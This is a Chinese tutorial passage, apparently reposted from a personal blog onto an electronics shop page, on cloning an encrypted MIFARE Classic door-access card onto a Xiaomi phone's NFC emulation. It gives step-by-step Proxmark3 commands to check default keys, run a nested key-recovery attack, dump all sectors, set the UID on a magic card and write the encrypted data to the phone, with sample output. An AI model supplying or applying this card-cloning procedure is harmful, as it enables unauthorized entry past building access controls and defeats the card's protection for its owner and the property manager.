使用PM3 Universal GUI这样一个一个修改数据,感觉很麻烦,应该有其它方法暂未发现。 也可以使用其它客户端软件,有些针对国情修改的傻瓜式操作,使用起来也很方便。 这样写完一个分区后,isOk显示为01表示修改成功,全部修改完后,可以重新读取出来,对比数据。

3.2.1 写手机/手环思路

前面,利用CUID卡和手机应用MifareClassicTool,实现了手机未root情况下,模拟出加密卡UID号,通过了门禁。 有些门禁,不仅检测UID卡号,还检测某分区的加密数据,这就需要往手机NFC里写入加密数据。 小米手机自带的门卡模拟功能有两种:一种是模拟实体门卡,只能模拟非加密卡,即就是复制非加密卡的UID;第二种是添加虚拟门卡,会生成一张UID随机的卡,需要去物业处写卡,即物业把该卡UID号加入系统,并写入加密数据。 要想复制加密卡到手机,这两种方法都不行,首先排除第二种,系统生成的UID随机的卡,该卡的UID是无法修改的。第一种方法,虽然能复制得到UID,但没法复制加密数据,但至少成功了一半。 使用第一种方法模拟出来的卡,虽然系统不能复制加密数据,但可以使用Proxmark3写入加密数据,也就实现了UID号和加密数据的复制。

因此,模拟加密卡的思路: 1.使用Proxmark3获取加密卡数据; 2.只写UID号到实体UID/CUID卡; 3.手机模拟该UID/CUID卡;(实现UID号的复制) 4.使用Proxmark3往手机模拟卡写入加密数据;(实现加密数据的复制)

将加密门禁卡放在Proxmark3,参考前面3.2.1 破解思路,先用默认密码扫描,获得任意扇区的密钥,然后用已知扇区密匙求所有扇区密匙,利用所有秘钥得到所有数据并导出,最后转换成eml格式。 依次数据以下命令,获取加密卡数据:

 

1

2

3

4

 

hf mf chk *1 ? t d

hf mf nested 1 0 A FFFFFFFFFFFF d t

hf mf dump

script run dumptoemul.lua -i hf-mf-4033B54A-data.bin -o 4033B54A.eml

得到三个文件:hf-mf-4033B54A-key.bin:秘钥文件;hf-mf-4033B54A-data.bin:数据文件;4033B54A.eml:数据文件eml格式(非必须);

将UID卡放在Proxmark3上,建议使用UID卡,写错了也能使用后门指令恢复。 用文本查看软件,如Notepad++打开hf-mf-4033B54A-data.bin4033B54A.eml,复制第一行数据,我这里为4033b54a8c0804000164efbc1488f31d。 输入以下命令,设置UID号到UID卡:

 

1

 

hf mf csetblk 0 4033b54a8c0804000164efbc1488f31d

输入以下命令,查看是否设置成功:

 

1

 

hf 14a info

显示出UID : 40 33 B5 4A,和前面的4033b54a8c0804000164efbc1488f31d对应上了,说明成功。

使用小米手机自带的模拟实体门卡功能,模拟该UID卡。

 

 

手机模拟前面复制的卡,然后放到放在Proxmark3上。 输入以下命令,将加密数据写到手机模拟卡里:

 

1

 

hf mf restore u 4033B54A

显示如下:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

 

Restoring hf-mf-4033B54A-data.bin to card

Writing to block 0: 40 33 B5 4A 8C 08 04 00 01 64 EF BC 14 88 F3 1D

#db# Cmd Error: 04

#db# Write block error

isOk:00

Writing to block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

isOk:01

Writing to block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

isOk:01

Writing to block 3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF

isOk:01

Writing to block 4: B5 33 40 50 12 31 23 00 00 01 00 00 23 59 00 00

isOk:01

Writing to block 5: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

isOk:01

Writing to block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

……

可看到第0分区写入失败,其它分区写入成功,既没破坏0分区的UID号,又写入了加密数据,达到了目的。

摘自:NFC手机模拟加密门禁卡 | hceng blog

标签: 03lf集成电路4x1变送器hf520变送器s50变送器集成电路ic固化

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台